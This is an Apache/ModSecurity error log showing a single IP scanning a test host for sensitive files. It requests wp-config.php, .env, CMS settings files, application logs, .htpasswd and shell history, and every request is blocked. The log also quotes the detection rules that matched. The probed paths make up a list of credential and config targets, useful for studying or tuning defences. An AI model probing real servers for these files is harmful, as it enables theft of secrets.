[Sun Mar 01 20:25:49.451448 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY3AAAAAs&quot;]
[Sun Mar 01 20:25:49.451641 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY3AAAAAs&quot;]
[Sun Mar 01 20:25:49.473969 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY3QAAAAs&quot;]
[Sun Mar 01 20:25:49.474515 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY3QAAAAs&quot;]
[Sun Mar 01 20:25:49.474700 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY3QAAAAs&quot;]
[Sun Mar 01 20:25:49.866167 2026] [authz_core:error] [pid 2409300] [client 185.177.72.30:53234] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Sun Mar 01 20:25:51.321370 2026] [:error] [pid 2408733] [client 185.177.72.30:53026] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aaSSv-tFoLKW-75qAOxnJgAAAAk&quot;]
[Sun Mar 01 20:25:51.321594 2026] [:error] [pid 2408733] [client 185.177.72.30:53026] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aaSSv-tFoLKW-75qAOxnJgAAAAk&quot;]
[Sun Mar 01 20:25:51.321743 2026] [:error] [pid 2408733] [client 185.177.72.30:53026] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aaSSv-tFoLKW-75qAOxnJgAAAAk&quot;]
[Sun Mar 01 20:25:51.574929 2026] [:error] [pid 2408733] [client 185.177.72.30:53026] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/sites/default/settings.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sites/default/settings.php found within REQUEST_FILENAME: /sites/default/settings.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aaSSv-tFoLKW-75qAOxnMQAAAAk&quot;]
[Sun Mar 01 20:25:51.575303 2026] [:error] [pid 2408733] [client 185.177.72.30:53026] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aaSSv-tFoLKW-75qAOxnMQAAAAk&quot;]
[Sun Mar 01 20:25:51.575490 2026] [:error] [pid 2408733] [client 185.177.72.30:53026] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aaSSv-tFoLKW-75qAOxnMQAAAAk&quot;]
[Sun Mar 01 20:25:51.850990 2026] [:error] [pid 2408733] [client 185.177.72.30:53026] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/app/etc/local.xml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /app/etc/local.xml found within REQUEST_FILENAME: /app/etc/local.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;aaSSv-tFoLKW-75qAOxnPQAAAAk&quot;]
[Sun Mar 01 20:25:51.851247 2026] [:error] [pid 2408733] [client 185.177.72.30:53026] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;aaSSv-tFoLKW-75qAOxnPQAAAAk&quot;]
[Sun Mar 01 20:25:51.851432 2026] [:error] [pid 2408733] [client 185.177.72.30:53026] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;aaSSv-tFoLKW-75qAOxnPQAAAAk&quot;]
[Sun Mar 01 20:25:51.965696 2026] [:error] [pid 2408733] [client 185.177.72.30:53026] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aaSSv-tFoLKW-75qAOxnQgAAAAk&quot;]
[Sun Mar 01 20:25:51.965960 2026] [:error] [pid 2408733] [client 185.177.72.30:53026] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aaSSv-tFoLKW-75qAOxnQgAAAAk&quot;]
[Sun Mar 01 20:25:51.966134 2026] [:error] [pid 2408733] [client 185.177.72.30:53026] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aaSSv-tFoLKW-75qAOxnQgAAAAk&quot;]
[Sun Mar 01 20:25:52.263762 2026] [authz_core:error] [pid 2408733] [client 185.177.72.30:53026] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Sun Mar 01 20:25:52.285818 2026] [authz_core:error] [pid 2408733] [client 185.177.72.30:53026] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htpasswd
[Sun Mar 01 20:25:52.451035 2026] [authz_core:error] [pid 2400022] [client 185.177.72.30:53030] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess.bak
[Sun Mar 01 20:25:52.473020 2026] [authz_core:error] [pid 2400022] [client 185.177.72.30:53030] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess.old
[Sun Mar 01 20:25:52.495178 2026] [authz_core:error] [pid 2400022] [client 185.177.72.30:53030] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess.save
[Sun Mar 01 20:25:53.164342 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.bash_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bash_history found within REQUEST_FILENAME: /.bash_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnkwAAAAE&quot;]
[Sun Mar 01 20:25:53.164621 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnkwAAAAE&quot;]
[Sun Mar 01 20:25:53.164797 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnkwAAAAE&quot;]
[Sun Mar 01 20:25:53.187497 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.bash_profile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bash_profile found within REQUEST_FILENAME: /.bash_profile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_profile&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnlAAAAAE&quot;]
[Sun Mar 01 20:25:53.187786 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_profile&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnlAAAAAE&quot;]
[Sun Mar 01 20:25:53.187989 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_profile&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnlAAAAAE&quot;]
[Sun Mar 01 20:25:53.210711 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.bashrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bashrc found within REQUEST_FILENAME: /.bashrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnlQAAAAE&quot;]
[Sun Mar 01 20:25:53.210999 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnlQAAAAE&quot;]
[Sun Mar 01 20:25:53.211187 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnlQAAAAE&quot;]
[Sun Mar 01 20:25:53.465588 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.cshrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .cshrc found within REQUEST_FILENAME: /.cshrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.cshrc&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnoAAAAAE&quot;]
[Sun Mar 01 20:25:53.465820 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.cshrc&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnoAAAAAE&quot;]
[Sun Mar 01 20:25:53.465980 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.cshrc&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnoAAAAAE&quot;]
[Sun Mar 01 20:25:53.511042 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnogAAAAE&quot;]
[Sun Mar 01 20:25:53.511295 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnogAAAAE&quot;]
